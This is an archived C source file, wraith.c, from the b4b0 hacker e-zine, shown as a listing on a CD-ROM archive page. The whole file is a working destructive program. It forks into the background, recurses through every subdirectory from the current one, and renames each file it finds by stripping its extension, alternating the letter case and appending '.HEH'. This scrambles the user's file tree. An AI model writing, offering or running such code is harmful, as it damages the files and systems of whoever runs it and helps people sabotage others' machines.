home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / b4b0 / b4b0-08 / wraith.c < prev   
Encoding:
C/C++ Source or Header  |  2002-05-27  |  2.5 KB  |  150 lines

  1. /* wraith.c coded by fred_ */
  2.  
  3. #include <stdio.h>
  4. #include <ctype.h>
  5. #include <string.h>
  6. #include <sys/stat.h>
  7. #include <sys/types.h>
  8. #include <dirent.h>
  9. #include <unistd.h>
  10.  
  11. char *c_file(char *filename)
  12. {
  13.     int x, i;
  14.     static char buffer[256];
  15.  
  16.     if (strstr(filename, ".") != NULL) {
  17.         for (x = 0; filename[x]; x++) {
  18.             if (filename[x] == '.')
  19.                 break;
  20.  
  21.             buffer[x] = filename[x];
  22.           }
  23.         buffer[x] = 0;
  24.       } else
  25.         strcpy((char *)buffer, filename);
  26.  
  27.     for (x = 0, i = 1; buffer[x]; x++) {
  28.         if (i == 1) {
  29.             buffer[x] = toupper(buffer[x]);
  30.             i = 2;
  31.           } else if (i == 2) {
  32.             buffer[x] = tolower(buffer[x]);
  33.             i = 1;
  34.           } else
  35.             buffer[x] = buffer[x];
  36.       }
  37.  
  38.     x = strlen(buffer);
  39.  
  40.     buffer[x] = '.';
  41.     buffer[x + 1] = 'H';
  42.     buffer[x + 2] = 'E';
  43.     buffer[x + 3] = 'H';
  44.  
  45.     return buffer;
  46. }
  47.  
  48. int
  49. isDir(char *name)
  50. {
  51.     int ret;
  52.     struct stat *status;
  53.     struct stat s[1];
  54.  
  55.     status = s;
  56.  
  57.     ret = lstat(name, s);
  58.     if (ret == -1)
  59.         return 0;
  60.  
  61.     return S_ISDIR(status->st_mode);
  62. }
  63.  
  64. int
  65. main(int argc, char *argv[])
  66. {
  67.     char *exec;
  68.  
  69.     if ((exec = (char *)malloc(256)) == NULL) {
  70.         printf("Not enough memory\n");
  71.         exit(1);
  72.       }
  73.  
  74.     printf("starting wraith from the current working directory\n");
  75.  
  76.     #ifndef DEBUG
  77.         printf("launching into the background..\n");
  78.         if (fork())
  79.             exit(1);
  80.     #endif
  81.  
  82.     if (strstr(argv[0], "/") != NULL) {
  83.         exec = strrchr(argv[0], '/');
  84.         memmove(exec, exec + 1, strlen(exec));
  85.       } else
  86.         strcpy(exec, argv[0]);
  87.  
  88.     modify_dir(".", exec);
  89. }
  90.  
  91. int
  92. modify_dir(char *directory, char *exec) {
  93.         char *buffer, *newfile;
  94.         struct dirent *files;
  95.         DIR *dp;
  96.  
  97.     if ((buffer = (char *)malloc(256)) == NULL ||
  98.         (newfile = (char *)malloc(256)) == NULL) {
  99.             printf("Not enough memory.\n");
  100.             exit(1);
  101.       }
  102.  
  103.     dp = opendir(directory);
  104.     while (1) {
  105.         bzero(buffer, 256);
  106.         bzero(newfile, 256);
  107.         if ((files = readdir(dp)) == NULL)
  108.             break;
  109.  
  110.         if (!strcmp(files->d_name, ".") ||
  111.             !strcmp(files->d_name, ".."))
  112.                 continue;
  113.  
  114.         strncpy(buffer, files->d_name, 256);
  115.  
  116.         if (!strcmp(exec, buffer))
  117.             continue;
  118.  
  119.         if (isDir(buffer) == 1) {
  120.             #ifdef DEBUG
  121.                 printf("Changing to directory: %s\n",
  122.                     buffer);
  123.             #endif
  124.             if (chdir(buffer) == 0) {
  125.                 modify_dir(".", exec);
  126.  
  127.                 #ifdef DEBUG
  128.                     printf("Changing to parent directory\n");
  129.                 #endif
  130.                 if (chdir("..") == -1)
  131.                     exit(1);
  132.               } else
  133.                 continue;
  134.           }
  135.  
  136.         newfile = c_file(buffer);
  137.  
  138.         if (strlen(newfile) > 0) {
  139.             #ifdef DEBUG
  140.                 printf("Modified %s to %s\n",
  141.                     buffer, newfile);
  142.             #endif
  143.             if (rename(buffer, newfile) == -1)
  144.                 continue;
  145.           }
  146.       }
  147.  
  148.     closedir(dp);
  149. }
  150.